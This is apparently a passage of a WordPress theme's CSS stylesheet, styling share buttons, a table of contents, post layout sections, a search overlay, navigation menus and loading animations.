.tags-share-box .new-ver-share:hover {
	z-index: 4
}
.tags-share-box .post-share-item.post-share-plike a:after {
	display: none
}
.show-txt.txt-below.size-large.post-share a.post-share-expand,
.show-txt.txt-below.size-large.post-share a.post-share-expand i {
	line-height: 90px
}
.penci-social-colored a i.fa-get-pocket {
	background: #e83c53
}
.pcsb-cml .post-comments .post-title-box {
	padding-top: 0;
	border-top: 0
}
.penci-standard-cat.s1 .penci-cat-name:after,
.penci-standard-cat.s2 .penci-cat-name:after,
.penci-standard-cat.s3 .penci-cat-name:after,
.penci-standard-cat.s4 .penci-cat-name:after {
	display: none
}
.penci-standard-cat.s1 .cat>.penci-cat-name,
.penci-standard-cat.s2 .cat>.penci-cat-name,
.penci-standard-cat.s3 .cat>.penci-cat-name,
.penci-standard-cat.s4 .cat>.penci-cat-name {
	padding: 2px 8px;
	background: #fff;
	color: var(--pcheading-cl);
	border-radius: 3px;
	display: inline-block;
	box-shadow: 1px 1px 1px rgba(55, 55, 55, .5)
}
.penci-standard-cat.s2 .cat>.penci-cat-name {
	background-color: var(--pcaccent-cl);
	color: #fff
}
.penci-standard-cat.s3 .cat>.penci-cat-name {
	background-color: #000;
	color: #fff
}
.penci-standard-cat.s4 .cat>.penci-cat-name {
	background-color: transparent;
	border: 1px solid var(--pcheading-cl);
	color: var(--pcheading-cl);
	padding: 2px 8px
}
.penci-standard-cat.s1 .cat>.penci-cat-name:hover,
.penci-standard-cat.s2 .cat>.penci-cat-name:hover,
.penci-standard-cat.s3 .cat>.penci-cat-name:hover {
	opacity: .85
}
.penci-standard-cat.s4 .cat>.penci-cat-name:hover {
	border-color: var(--pcaccent-cl);
	background-color: var(--pcaccent-cl);
	color: #fff
}
.penci-toc-wrapper {
	border: 1px solid var(--pcborder-cl);
	padding: 20px 25px 15px;
	margin-bottom: 20px;
	max-width: 320px;
	width: 100%;
	background-color: var(--pcbg-cl)
}
.penci-aw-sticky .entry-content .penci-toc-wrapper {
	display: none;
}
@media only screen and (max-width:767px) {
	.penci-toc-wrapper {
		max-width: unset !important
	}
}
.penci-toc-wrapper.penci-toc-default {
	max-width: unset
}
.penci-sticky-toc {
	position: fixed;
	transition: .3s all ease-in-out;
	max-width: 270px;
	width: 100%;
	top: 120px;
	z-index: 99999
}
.penci-sticky-toc.sticky-disable {
	display: none
}
.penci-sticky-toc.sticky-bottom {
	top: auto;
	bottom: 40px
}
.penci-sticky-toc.sticky-left {
	opacity: 0;
	visibility: hidden;
	left: 10px
}
.penci-sticky-toc {
	opacity: 0;
	visibility: hidden;
	transition: .3s all ease-in-out
}
.penci-sticky-toc.tocSticky {
	opacity: 1;
	visibility: visible
}
.penci-sticky-toc.sticky-right {
	right: 10px
}
.tocSticky .dis-toggle.penci-toc-wrapper.hide-table .penci-toc-head {
	margin-bottom: 15px
}
.penci-toc-wrapper .penci-toc-title {
	padding-right: 30px
}
@media only screen and (max-width:767px) {
	.penci-toc-container-wrapper {
		z-index: 1
	}
	.penci-sticky-toc {
		top: 120px;
		bottom: 0;
		z-index: 999999
	}
	.penci-sticky-toc.sticky-left {
		left: 15px
	}
	.penci-sticky-toc.sticky-right {
		right: 15px
	}
	.penci-sticky-toc.sticky-bottom {
		bottom: 120px;
		top: auto
	}
	.penci-sticky-toc.hide-table {
		z-index: 1;
		max-width: 50px
	}
	.penci-toc-container-wrapper.tocSticky.sticky-right .penci-toc-wrapper.hide-table {
		position: absolute;
		right: 0
	}
	.penci-toc-container-wrapper.tocSticky .penci-toc-wrapper.hide-table .penci-toc-title {
		max-width: 0;
		display: block;
		visibility: hidden;
		max-height: 0
	}
	.penci-toc-container-wrapper.tocSticky .penci-toc-wrapper span.penci-toc-title-toggle {
		top: 14px
	}
	.penci-toc-container-wrapper.tocSticky .penci-toc-wrapper.hide-table {
		padding: 10px
	}
	.penci-toc-container-wrapper.tocSticky .penci-toc-wrapper.hide-table span.penci-toc-title-toggle {
		top: 0;
		right: 0;
		transform: unset
	}
}
.penci-toc-wrapper.s2 {
	border-radius: 5px;
	background-color: var(--pcbg-cl);
	box-shadow: 0 1px 4px 3px rgba(0, 0, 0, .05)
}
.penci-toc-wrapper .penci-toc-title {
	margin: 0;
	font-size: 18px;
	font-weight: var(--pchead-wei)
}
.penci-toc-wrapper .penci-toc-head {
	position: relative;
	margin-bottom: 15px;
	min-height: 28px
}
.penci-toc-wrapper.s3 .penci-toc-head {
	margin-bottom: 5px
}
.penci-toc-wrapper .penci-toc-title-toggle {
	width: 28px;
	height: 28px;
	background-color: var(--pcmeta-cl);
	color: var(--pcbg-cl);
	position: absolute;
	line-height: 28px;
	right: 0;
	display: inline-block;
	vertical-align: middle;
	text-align: center;
	top: 50%;
	transform: translateY(-50%)
}
.penci-toc-wrapper.s2 .penci-toc-title-toggle {
	border-radius: 5px;
	background-color: var(--pcaccent-cl);
	color: #fff
}
.penci-toc-wrapper .penci-toc-title-toggle:hover {
	text-decoration: none
}
.penci-toc-wrapper .penci-toc-title-toggle:before {
	font-family: penciicon !important;
	font-size: 13px;
	content: "\f174"
}
.penci-toc-wrapper.show-table .penci-toc-title-toggle:before {
	content: "\f175"
}
.penci-toc-wrapper.hide-table .penci-toc-title-toggle:before {
	content: "\f174"
}
.penci-toc-wrapper.dis-toggle .penci-toc-title-toggle:before {
	font-size: 16px;
	content: "\f172" !important
}
.penci-toc-wrapper.hide-table .penci-toc-head {
	margin-bottom: 0
}
.penci-toc-wrapper .penci-toc>ul {
	border-top: 0;
	padding-top: 5px;
	margin-top: 5px
}
.post-entry .penci-toc-wrapper ul,
.post-entry .penci-toc-wrapper ul>li {
	list-style: none;
	margin: 0;
	padding-left: 0;
	padding-right: 0
}
.penci-toc-wrapper.counter-flat .penci-toc ul li {
	border-top: 1px solid var(--pcborder-cl)
}
.penci-toc-wrapper ul li {
	margin-bottom: 0
}
.penci-toc-wrapper.style-number ul,
.penci-toc-wrapper.style-number ul li {
	list-style: decimal outside;
	padding-left: 10px
}
.penci-toc-wrapper.style-bullets ul,
.penci-toc-wrapper.style-bullets ul li {
	list-style: square outside;
	padding-left: 10px
}
.penci-toc-wrapper.style-number ul li::marker {
	font-weight: 700
}
.post-entry .penci-toc ul {
	list-style: none;
	margin: 0;
	padding: 0
}
.post-entry .penci-toc ul li a {
	padding-top: 8px;
	padding-bottom: 8px
}
.post-entry .penci-toc ul ul {
	padding: 0 0 2px 10px;
	border-top: 1px solid var(--pcborder-cl)
}
.post-entry .penci-toc ul ul ul {
	border: 0
}
nav.penci-toc {
	max-height: calc(100vh - 230px);
	overflow: auto
}
.entry-content nav.penci-toc {
	max-height: 500px
}
.penci-toc ul ul {
	padding-left: 10px
}
.penci-toc>ul>li:not(:first-child),
.penci-toc>ul>li:not(:last-child) {
	border-top: 1px solid var(--pcborder-cl)
}
.penci-toc ul li:last-child>a {
	border: 0
}
.penci-toc ul ul li:last-child>a {
	border-bottom: 0
}
.penci-toc ul li:last-child {
	border-bottom: 0
}
.penci-toc ul a {
	display: block;
	padding: 2px 0;
	font-size: 14px;
	font-weight: 700;
	color: var(--pctext-cl);
	opacity: .82;
	text-decoration: none;
	transition: all .3s
}
.penci-toc ul a:hover,
.penci-toc ul li.active>a {
	text-decoration: none;
	color: var(--pcaccent-cl);
	opacity: 1
}
.penci-toc ul ul a {
	font-size: 14px;
	font-weight: 400
}
.penci-toc-wrapper .penci-toc ul,
.penci-toc-wrapper.counter-numeric .penci-toc>ul {
	counter-reset: item
}
.penci-toc-wrapper.counter-decimal .penci-toc ul li a:before {
	content: counters(item, ".") ". ";
	display: inline-block;
	counter-increment: item;
	margin-right: .2em
}
.penci-toc-wrapper.counter-roman .penci-toc ul li a:before {
	content: counters(item, ".", upper-roman) ". ";
	counter-increment: item;
	margin-right: .2em
}
.penci-toc-wrapper.counter-numeric .penci-toc ul li a:before {
	content: counters(item, ".") " ";
	counter-increment: item;
	margin-right: .2em
}
.penci-toc-wrapper.s3 {
	background-color: #f1f1f1
}
.penci-toc-wrapper.s3 ul,
.penci-toc-wrapper.s3 ul li,
.penci-toc-wrapper.s3 ul li a {
	border: 0 !important;
	padding-bottom: 1px;
	padding-top: 1px
}
.penci-toc-wrapper.penci-toc-wrap-left {
	float: left;
	margin: 0 30px 20px 0
}
.penci-toc-wrapper.penci-toc-wrap-right {
	float: right;
	margin: 0 0 20px 30px
}
.sticky-wrapper .penci-toc-wrapper {
	left: 30px
}
.showing-hidden .post-share-expand i.penciicon-add:before {
	content: "\f178"
}
.pcsb-ptitle .header-standard {
	margin-bottom: 0;
	overflow: hidden
}
.pcsb-ptitle .header-standard.align-left {
	text-align: left
}
.pcsb-ptitle .header-standard.align-left:after {
	left: 30px
}
.pcsb-ptitle .header-standard.align-right {
	text-align: right
}
.pcsb-ptitle .header-standard.align-right:after {
	right: 0;
	left: auto
}
.pcsb-share .tags-share-box {
	margin-bottom: 0
}
.pcsb-share .tags-share-box.post-share {
	position: relative;
	top: 0
}
.pcab-adesc .post-entry p,
.pcab-atitle .post-entry p {
	line-height: 1.6
}
.pcab-abrcrb .container.penci-breadcrumb,
.pcab-adesc .post-entry,
.pcab-adesc .post-entry>p:last-child,
.pcab-atitle .archive-box,
.pcab-atitle .post-entry>p:last-child {
	margin-bottom: 0
}
.pcab-atitle .post-entry.pcdcp-after {
	margin: 15px 0 0
}
.pcab-atitle .post-entry.pcdcp-before {
	margin: 0 0 15px
}
.pcab-abrcrb .container.penci-breadcrumb {
	margin-top: 0
}
.pcsb-brcrb .container.penci-breadcrumb,
.pcsb-ft .post-image,
.pcsb-meta .post-box-meta-single,
.pcsb-pnavi .post-pagination {
	margin-top: 0;
	margin-bottom: 0;
	border: 0
}
.pcsb-brcrb .container {
	width: 100%;
}
.pcsb-pnavi .post-pagination {
	padding-top: 0;
	padding-bottom: 0
}
.pcsb-pnavi .post-pagination.default-ratio .penci-post-nav-thumb {
	height: 56px !important
}
.pcsb-ft-o .container.penci-breadcrumb {
	margin-top: 0
}
.pcsb-ft-o .header-standard.header-classic {
	margin-bottom: 0
}
.pcsb-ft-o .post-image {
	margin-bottom: 0
}
.pcsb-ft-o .penci-move-title-above:after {
	content: "";
	position: absolute;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
	background: #000;
	z-index: 1;
	bottom: 0;
	right: 0;
	background: linear-gradient(to bottom, transparent 50%, #000 90%);
	opacity: .7;
	transition: .3s
}
.pcsb-ft-o .cat>a.penci-cat-name,
.pcsb-ft-o .container.penci-breadcrumb i,
.pcsb-ft-o .container.penci-breadcrumb span,
.pcsb-ft-o .container.penci-breadcrumb span a,
.pcsb-ft-o .header-standard .author-post span,
.pcsb-ft-o .header-standard .author-post span a,
.pcsb-ft-o .header-standard .post-title,
.pcsb-ft-o .header-standard h2,
.pcsb-ft-o .header-standard h2 a,
.pcsb-ft-o .pc_titlebig_standard,
.pcsb-ft-o .pc_titlebig_standard a,
.pcsb-ft-o .penci-container-inside.penci-breadcrumb i,
.pcsb-ft-o .penci-container-inside.penci-breadcrumb span,
.pcsb-ft-o .penci-container-inside.penci-breadcrumb span a,
.pcsb-ft-o .post-box-meta-single a,
.pcsb-ft-o .post-box-meta-single span,
.pcsb-ft-o .post-box-meta-single span i {
	color: #fff
}
.pcsb-ft-o h2.penci-psub-title {
	letter-spacing: 0;
	text-transform: none;
	font-size: 18px;
	line-height: 1.3;
	margin: 8px 0
}
.pcsb-share .tags-share-box,
.pcsb-share .tags-share-box.center-box {
	border: 0;
	padding: 0;
	margin: 0
}
.elementor-widget-penci-single-related-posts .post-related {
	padding: 0
}
.post-box-meta-single .author-url img {
	vertical-align: middle;
	border-radius: 50%
}
.gradient-enable .post-title span,
.gradient-enable.penci-psub-title span {
	-webkit-background-clip: text;
	-webkit-text-fill-color: transparent
}
.pcsb-pnavi .post-pagination .next-post,
.pcsb-pnavi .post-pagination .prev-post {
	display: flex;
	align-items: center
}
.pcsb-pnavi .post-pagination .next-post {
	flex-direction: row-reverse
}
@media only screen and (max-width:767px) {
	.pcsb-pnavi .post-pagination .next-post,
	.pcsb-pnavi .post-pagination .prev-post {
		width: 100% !important;
		text-align: center;
		display: block
	}
	.pcsb-pnavi .post-pagination h5,
	.pcsb-pnavi .post-pagination h5.next-title {
		padding: 0
	}
}
.post-share.pcnew-share .count-number-like,
.post-share.tags-share-box-2_3.post-share .count-number-like,
.tags-share-box.tags-share-box-2_3.post-share .post-share-item .penci-post-like {
	color: #fff
}
.post-share.pcnew-share.border-style .count-number-like {
	color: var(--pcheading-cl)
}
.pcab-abox .title-bar {
	position: relative;
	padding-bottom: 15px;
	overflow: hidden
}
.pcab-abox .title-bar:after {
	content: "";
	position: absolute;
	width: 60px;
	height: 1px;
	background: var(--pcaccent-cl);
	display: block;
	bottom: 0
}
.pcab-abox .title-bar.align-center:after {
	left: 50%;
	margin-left: -30px
}
.pcab-abox .title-bar.align-center {
	text-align: center
}
.pcab-abox .title-bar.align-left {
	text-align: left
}
.pcab-abox .title-bar.align-left:after {
	left: 0
}
.pcab-abox .title-bar.align-right {
	text-align: right
}
.pcab-abox .title-bar.align-right:after {
	right: 0
}
.max-lv-1 ul ul {
	display: none
}
.max-lv-2 ul ul ul {
	display: none
}
.max-lv-3 ul ul ul ul {
	display: none
}
.max-lv-4 ul ul ul ul ul {
	display: none
}
.max-lv-5 ul ul ul ul ul ul {
	display: none
}
.pccustom-template-enable #header,
.pccustom-template-enable .pc-wrapbuilder-header,
.single-archive-template #header,
.single-custom-post-template #header,
.single-custom-post-template .pc-wrapbuilder-header {
	margin-bottom: 0 !important
}
.pccustom-template-enable .clear-footer,
.single-archive-template .clear-footer,
.single-custom-post-template .clear-footer {
	height: 0;
	margin-bottom: 0
}
.pcsb-athor .abio-style-2,
.pcsb-athor .abio-style-3,
.pcsb-athor .abio-style-4,
.pcsb-cmf #respond,
.pcsb-cmf .comment-respond,
.pcsb-mct .post-entry {
	margin-bottom: 0 !important
}
.pcsb-athor .post-author:not(:last-child) {
	margin-bottom: 30px
}
.pcsb-cmf .no-comment-yet h3.comment-reply-title {
	padding-top: 0 !important;
	border-top: 0
}
.pcsb-athor .abio-style-1 {
	border: none;
	padding: 0
}
@media only screen and (max-width:767px) {
	.pcsb-athor .abio-style-1.post-author .author-img,
	.pcsb-athor .abio-style-2.post-author .author-img {
		float: none;
		display: block;
		margin-left: auto;
		margin-right: auto
	}
	.pcsb-athor .abio-style-1.post-author .author-content,
	.pcsb-athor .abio-style-2.post-author .author-content {
		margin-left: 0 !important;
		text-align: center;
		margin-top: 10px
	}
}
.header-search-style-overlay .show-search {
	display: block !important;
	visibility: hidden;
	opacity: 0;
	transition: .3s all;
	transform: scale(.95)
}
body.search-open .header-search-style-overlay .show-search.active {
	visibility: visible;
	opacity: 1;
	transform: scale(1)
}
.header-search-style-overlay .show-search {
	position: fixed;
	top: 0;
	bottom: 0;
	left: 0;
	right: 0;
	background-color: rgba(0, 0, 0, .95);
	z-index: 99999999;
	width: 100vw;
	height: 100vh !important
}
.header-search-style-overlay .show-search .penci-search-form,
.header-search-style-overlay .show-search form.pc-searchform {
	width: 100%;
	max-width: 600px;
	margin-left: auto;
	margin-right: auto;
	padding-left: 15px;
	padding-right: 15px;
	top: 50%;
	transform: translateY(-50%);
	position: relative;
	transition: .3s transform ease-in-out
}
.header-search-style-overlay .show-search .penci-search-form.has-search-items {
	transform: translateY(calc((50% + 125px) * -1))
}
.header-search-style-overlay .show-search form.pc-searchform .pc-searchform-inner {
	padding: 5px 0;
	border-bottom: 1px solid rgba(255, 255, 255, .2)
}
.header-search-style-overlay .show-search form.pc-searchform.penci-ajax-search .pc-searchform-inner {
	width: 100%
}
.header-search-style-overlay .show-search .penci-search-form input.s,
.header-search-style-overlay .show-search form.pc-searchform input.search-input {
	position: static;
	color: #fff;
	font-size: 38px;
	line-height: 75px;
	font-weight: 700;
	width: 90%
}
.header-search-style-overlay .show-search .penci-search-form form {
	border: 0;
	padding: 0
}
.header-search-style-overlay .show-search .penci-search-form form button {
	border: 0;
	background: 0 0;
	padding: 0
}
.header-search-style-overlay .show-search .search-results-wrapper {
	top: 10px;
	transform: translateY(-45px);
	--pcajs_tcl: #fff;
	--pcbg-cl: #000;
	--pcborder-cl: rgba(255, 251, 2, 0.25);
	--pcajs_bcl: rgba(255, 255, 255, 0.1)
}
.header-search-style-overlay .show-search .search-results-wrapper .view-all-results {
	background-color: #000;
	color: var(--pcajs_tcl)
}
.header-search-style-overlay .show-search .search-results-wrapper .view-all-results:hover {
	color: var(--pcaccent-cl)
}
.header-search-style-overlay .show-search .search-results-wrapper .penci-dropdown-results {
	background-color: transparent
}
@media only screen and (min-width:1170px) {
	.header-search-style-overlay .show-search .search-results-wrapper .penci-search-results .autocomplete-suggestion {
		flex: 1 1 50%;
		max-width: 50%;
		padding: 5px 20px
	}
}
.header-search-style-overlay .show-search .search-results-wrapper .penci-dropdown-results .autocomplete-suggestions {
	background-color: #121212
}
.header-search-style-default .show-search.pcajx-search-loading .penci-search-form form button {
	padding: 0;
	transition: unset
}
.autocomplete-suggestions {
	max-height: 300px;
	overflow-y: auto;
	overflow-x: hidden
}
.pcbds-overlay .search-results-wrapper .penci-dropdown-results.penci-opened {
	box-shadow: none !important;
	-moz-box-shadow: none !important;
	-webkit-box-shadow: none !important
}
.header-search-style-overlay .penci-search-form.penci-ajax-search form button:after {
	width: 24px;
	height: 24px;
	top: calc(50% - 12px);
	margin: 0 0 0 -13px
}
.header-search-style-overlay .show-search .penci-search-form form button:after,
.header-search-style-overlay .show-search .penci-search-form form button:before {
	font-size: 22px;
	line-height: 22px
}
.header-search-style-overlay .penci-search-form form.penci-ajax-search .pc-eajxsearch button:after {
	content: "\f108" !important;
	font-family: penciicon !important;
	display: block;
	visibility: visible;
	animation: none;
	border: 0;
	margin: 0;
	right: 0;
	top: 50%;
	left: auto;
	color: var(--pctext-cl);
	opacity: .9
}
.header-search-style-overlay .penci-search-form form.penci-ajax-search.search-loading .pc-eajxsearch button:after {
	visibility: hidden;
	display: none;
	opacity: 0
}
.header-search-style-overlay .show-search form.pc-searchform::placeholder {
	color: #fff
}
.header-search-style-overlay .show-search a.close-search {
	color: #fff;
	font-size: 32px;
	top: 30px;
	right: 30px;
	background: 0 0 !important;
	margin: 0 !important;
	padding: 0 !important;
	border: 0 !important;
	height: auto !important;
	line-height: unset !important;
	width: auto;
	transition: .3s all ease-in-out
}
@media only screen and (max-width:767px) {
	.header-search-style-overlay .show-search a.close-search {
		top: 15px;
		right: 15px
	}
	.header-search-style-overlay .show-search form.pc-searchform input.search-input {
		font-size: 28px;
		padding-top: 10px;
		padding-bottom: 10px
	}
}
.header-search-style-overlay .show-search a.close-search:hover {
	opacity: .85
}
body.pchds-overlay.search-open {
	overflow: hidden
}
.penci_nav_row .show-search.active,
body.pchds-overlay.search-open .show-search {
	display: block !important
}
.penci_search_box_widget input[type=text] {
	margin: 0
}
.penci_search_box_widget .penci-search-form form {
	border: 0;
	padding: 0
}
.penci_search_box_widget .search-style-text-button.penci-search-form form button:after {
	display: none
}
.pcnav-lgroup {
	position: absolute;
	top: 0;
	bottom: 0;
	right: 0;
	left: auto;
	display: flex;
	flex-wrap: wrap;
	align-items: center;
	align-content: center;
	flex-direction: row;
	justify-content: end;
	opacity: 0;
	z-index: 9;
	padding: 0 12px
}
.pcnav-lgroup .hidden-item {
	visibility: hidden;
	width: 1px
}
.pcalign-right .pcnav-lgroup {
	right: auto;
	left: 0;
	justify-content: start
}
.pciconp-right.pcalign-left.style-15 .pcnav-lgroup {
	right: 36px
}
.pciconp-left.pcalign-right.style-15 .pcnav-lgroup {
	left: 36px
}
.pcnav-lgroup.loaded {
	opacity: 1
}
.pcnav-lgroup ul {
	list-style: none;
	margin: 0;
	padding: 0;
	white-space: normal
}
.pcnav-lgroup ul ul {
	position: absolute;
	top: 100%;
	right: 0;
	width: 190px;
	background-color: rgba(255, 255, 255, .9);
	border: 1px solid var(--pcborder-cl);
	margin: 4px 0 0;
	padding: 10px 15px;
	z-index: 9;
	opacity: 0;
	visibility: hidden;
	text-align: right
}
.pcalign-right .pcnav-lgroup ul ul {
	right: auto;
	left: 0;
	text-align: left
}
.pcnav-lgroup ul li:hover>ul {
	opacity: 1;
	visibility: visible;
	display: block !important
}
.pcnav-lgroup ul li {
	display: inline-block;
	margin: 0;
	padding: 0;
	position: relative;
	line-height: unset;
	list-style: none
}
.pcnav-lgroup ul li.pcaj-next {
	margin-left: 4px
}
.pcnav-lgroup ul.pcflx>li:last-child>a {
	padding-right: 0 !important
}
.pcnav-lgroup ul.pcflx>li:first-child>a {
	padding-left: 0 !important
}
.pcalign-right .pcnav-lgroup ul li.pcaj-next {
	margin-right: 0
}
.pcnav-lgroup ul.pcflx-nav {
	padding-left: 15px
}
@media only screen and (max-width: 767px) {
	.pcnav-lgroup {
		padding-left: 0;
		padding-right: 0;
		left: auto;
		right: 12px;
	}
	.pcalign-right .pcnav-lgroup {
		right: auto;
		left: 12px;
	}
	.pcnav-lgroup ul.pcflx-nav {
		padding-left: 10px;
	  	margin-top: -3px;
	}
  }
.pcnav-lgroup ul li.pcaj-nav-item a {
	padding-left: 0;
	padding-right: 0;
	vertical-align: middle;
	font-size: 13px
}
.pcnav-lgroup ul li.pcaj-nav-item a i {
	line-height: inherit;
	vertical-align: middle
}
.pcnav-lgroup ul li.pcaj-nav-item a.disable {
	pointer-events: none;
	opacity: .4 !important;
	cursor: default
}
.pcnav-lgroup ul li.pc-more-items>a:after {
	font-family: FontAwesome;
	content: "\f107";
	display: inline-block;
	margin-left: 3px;
	font-size: 13px;
	opacity: inherit
}
.pcnav-lgroup ul li {
	color: var(--pcheading-cl)
}
.pcnav-lgroup ul li a {
	display: inline-block;
	padding: 0 10px;
	color: inherit;
	opacity: .6;
	transition: all .3s;
	text-decoration: none;
	font-size: 14px
}
.pcnav-lgroup ul li i {
	color: inherit
}
.pcnav-lgroup ul li:hover>a,
.pcnav-lgroup ul li>a.clactive {
	opacity: 1;
	color: var(--pcaccent-cl)
}
.pcnav-lgroup ul ul li a {
	line-height: 1.3;
	display: block;
	padding: 3px 0
}
.pcnav-lgroup ul ul li a:hover {
	color: var(--pcaccent-cl)
}
.pcnav-lgroup ul ul li {
	display: block;
	padding: 2px 0
}
.pcnav-lgroup ul ul li:last-child {
	border: 0
}
.loading-posts.pctb-ajax-ldp {
	position: relative
}
.loading-posts.pctb-ajax-ldp:before {
	content: "";
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	z-index: 200;
	background: #fff;
	opacity: .65;
	display: block
}
.penci-biggrid .penci-pagination {
	order: 9999999
}
.penci-homepage-title.style-4 .pcnav-lgroup {
	background-color: transparent
}
.penci-homepage-title.style-4 .pcnav-lgroup>ul {
	background-color: var(--pcbg-cl)
}
.penci-homepage-title.style-4.pcalign-right .pcnav-lgroup>ul {
	padding-right: 15px
}
.penci-homepage-title.style-4.pcalign-center .pcnav-lgroup>ul,
.penci-homepage-title.style-4.pcalign-left .pcnav-lgroup>ul {
	padding-left: 15px
}
.penci-homepage-title.style-10 .pcnav-lgroup,
.penci-homepage-title.style-11 .pcnav-lgroup,
.penci-homepage-title.style-12 .pcnav-lgroup,
.penci-homepage-title.style-13 .pcnav-lgroup,
.penci-homepage-title.style-14 .pcnav-lgroup,
.penci-homepage-title.style-16 .pcnav-lgroup,
.penci-homepage-title.style-17 .pcnav-lgroup,
.penci-homepage-title.style-4 .pcnav-lgroup,
.penci-homepage-title.style-5 .pcnav-lgroup,
.penci-homepage-title.style-6 .pcnav-lgroup,
.penci-homepage-title.style-7 .pcnav-lgroup,
.penci-homepage-title.style-9 .pcnav-lgroup {
	padding: 0
}
.pcftaj-ld {
	position: relative;
	overflow: hidden
}
.pcftaj-ld .penci-loader-effect {
	display: block
}
.pcftaj-ld:before {
	content: "";
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	z-index: 200;
	background: var(--pcbg-cl);
	opacity: .65;
	display: block
}
.penci-loader-effect {
	width: 40px;
	height: 40px;
	margin: 0 auto;
	margin-top: -20px;
	margin-left: -20px;
	display: none;
	position: absolute;
	top: 50%;
	left: 50%;
	z-index: 300
}
.penci-portfolio .penci-loader-effect {
	top: 50px;
}
@media (max-width:767px) {
	.penci-loader-effect {
		top: 135px
	}
}
.penci-loading-animation:after,
.penci-loading-animation:before {
	content: "";
	position: absolute
}
.penci-loading-animation-1 .penci-loading-animation,
.penci-loading-animation-1 .penci-loading-animation:after,
.penci-loading-animation-1 .penci-loading-animation:before,
.penci-loading-animation-5 .penci-loading-animation,
.penci-loading-animation-6 .penci-loading-animation:before,
.penci-loading-animation-7 .penci-loading-animation,
.penci-loading-animation-8 .penci-loading-animation,
.penci-loading-animation-9 .penci-loading-circle-inner:before {
	background-color: var(--pcaccent-cl)
}
.penci-load-thecube {
	transform: rotateZ(45deg);
	-webkit-transform: rotateZ(45deg);
	-moz-transform: rotateZ(45deg)
}
.penci-load-thecube .penci-load-cube {
	position: relative;
	transform: rotateZ(45deg);
	-webkit-transform: rotateZ(45deg);
	-moz-transform: rotateZ(45deg)
}
.penci-load-thecube .penci-load-cube {
	float: left;
	width: 50%;
	height: 50%;
	position: relative;
	transform: scale(1.1);
	-webkit-transform: scale(1.1);
	-moz-transform: scale(1.1)
}
.penci-load-thecube .penci-load-cube:before {
	content: "";
	position: absolute;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
	animation: penci-load-fold-thecube 1.44s infinite linear both;
	-webkit-animation: penci-load-fold-thecube 1.44s infinite linear both;
	-moz-animation: penci-load-fold-thecube 1.44s infinite linear both;
	transform-origin: 100% 100%;
	-webkit-transform-origin: 100% 100%;
	-moz-transform-origin: 100% 100%
}
.penci-load-thecube .penci-load-c2 {
	transform: scale(1.1) rotateZ(90deg);
	-webkit-transform: scale(1.1) rotateZ(90deg);
	-moz-transform: scale(1.1) rotateZ(90deg)
}
.penci-load-thecube .penci-load-c3 {
	transform: scale(1.1) rotateZ(180deg);
	-ms-transform: scale(1.1) rotateZ(180deg);
	-webkit-transform: scale(1.1) rotateZ(180deg);
	-moz-transform: scale(1.1) rotateZ(180deg)
}
.penci-load-thecube .penci-load-c4 {
	transform: scale(1.1) rotateZ(270deg);
	-webkit-transform: scale(1.1) rotateZ(270deg);
	-moz-transform: scale(1.1) rotateZ(270deg)
}
.penci-load-thecube .penci-load-c2:before {
	animation-delay: 175ms;
	-webkit-animation-delay: 175ms;
	-moz-animation-delay: 175ms
}
.penci-load-thecube .penci-load-c3:before {
	animation-delay: .36s;
	-webkit-animation-delay: .36s;
	-moz-animation-delay: .36s
}
.penci-load-thecube .penci-load-c4:before {
	animation-delay: 535ms;
	-webkit-animation-delay: 535ms;
	-moz-animation-delay: 535ms
}
@keyframes penci-load-fold-thecube {
	0%,
	10% {
		transform: perspective(77px) rotateX(-180deg);
		opacity: 0
	}
	25%,
	75% {
		transform: perspective(77px) rotateX(0);
		opacity: 1
	}
	100%,
	90% {
		transform: perspective(77px) rotateY(180deg);
		opacity: 0
	}
}
@-webkit-keyframes penci-load-fold-thecube {
	0%,
	10% {
		-webkit-transform: perspective(77px) rotateX(-180deg);
		opacity: 0
	}
	25%,
	75% {
		-webkit-transform: perspective(77px) rotateX(0);
		opacity: 1
	}
	100%,
	90% {
		-webkit-transform: perspective(77px) rotateY(180deg);
		opacity: 0
	}
}
.penci-three-bounce {
	text-align: center;
	position: relative
}
.penci-three-bounce .one,
.penci-three-bounce .three,
.penci-three-bounce .two {
	display: inline-block;
	width: 15px;
	height: 15px;
	border-radius: 100%;
	background-color: var(--pcaccent-cl);
	-webkit-animation: pencibouncedelay 1s infinite ease-in-out both;
	animation: pencibouncedelay 1s infinite ease-in-out both
}
.penci-three-bounce .one {
	-webkit-animation-delay: -.32s;
	animation-delay: -.32s
}
.penci-three-bounce .two {
	-webkit-animation-delay: -.16s;
	animation-delay: -.16s;
	margin: 0 5px
}
@-webkit-keyframes pencibouncedelay {
	0%,
	100%,
	80% {
		-webkit-transform: scale(0)
	}
	40% {
		-webkit-transform: scale(1)
	}
}
@keyframes pencibouncedelay {
	0%,
	100%,
	80% {
		-webkit-transform: scale(0);
		transform: scale(0)
	}
	40% {
		transform: scale(1);
		-webkit-transform: scale(1)
	}
}
.penci-loading-animation-1 {
	width: 50px;
	height: 40px;
	text-align: center;
	font-size: 10px;
	margin-left: -25px;
	margin-top: -20px
}
.penci-loading-animation-1>div {
	background-color: var(--pcaccent-cl);
	height: 100%;
	width: 6px;
	margin: 0 1px;
	display: inline-block;
	-webkit-animation: pencistretchdelay 1s infinite ease-in-out;
	animation: pencistretchdelay 1s infinite ease-in-out
}
.penci-loading-animation-1 .rect2 {
	-webkit-animation-delay: -.9s;
	animation-delay: -.9s
}
.penci-loading-animation-1 .rect3 {
	-webkit-animation-delay: -.8s;
	animation-delay: -.8s
}
.penci-loading-animation-1 .rect4 {
	-webkit-animation-delay: -.7s;
	animation-delay: -.7s
}
@-webkit-keyframes pencistretchdelay {
	0%,
	100%,
	40% {
		-webkit-transform: scaleY(.4)
	}
	20% {
		-webkit-transform: scaleY(1)
	}
}
@keyframes pencistretchdelay {
	0%,
	100%,
	40% {
		transform: scaleY(.4);
		-webkit-transform: scaleY(.4)
	}
	20% {
		transform: scaleY(1);
		-webkit-transform: scaleY(1)
	}
}
body {
	--pc-loader-2:var(--pcaccent-cl)
}
.penci-loading-animation-2 {
	-webkit-transform: scale(.5);
	-ms-transform: scale(.5);
	transform: scale(.5)
}
.penci-loading-animation-2 .penci-loading-animation {
	margin: 26px auto;
	width: 1em;
	height: 1em;
	border-radius: 50%;
	position: relative;
	-webkit-animation: loader-2 .85s infinite linear;
	animation: loader-2 .85s infinite linear
}
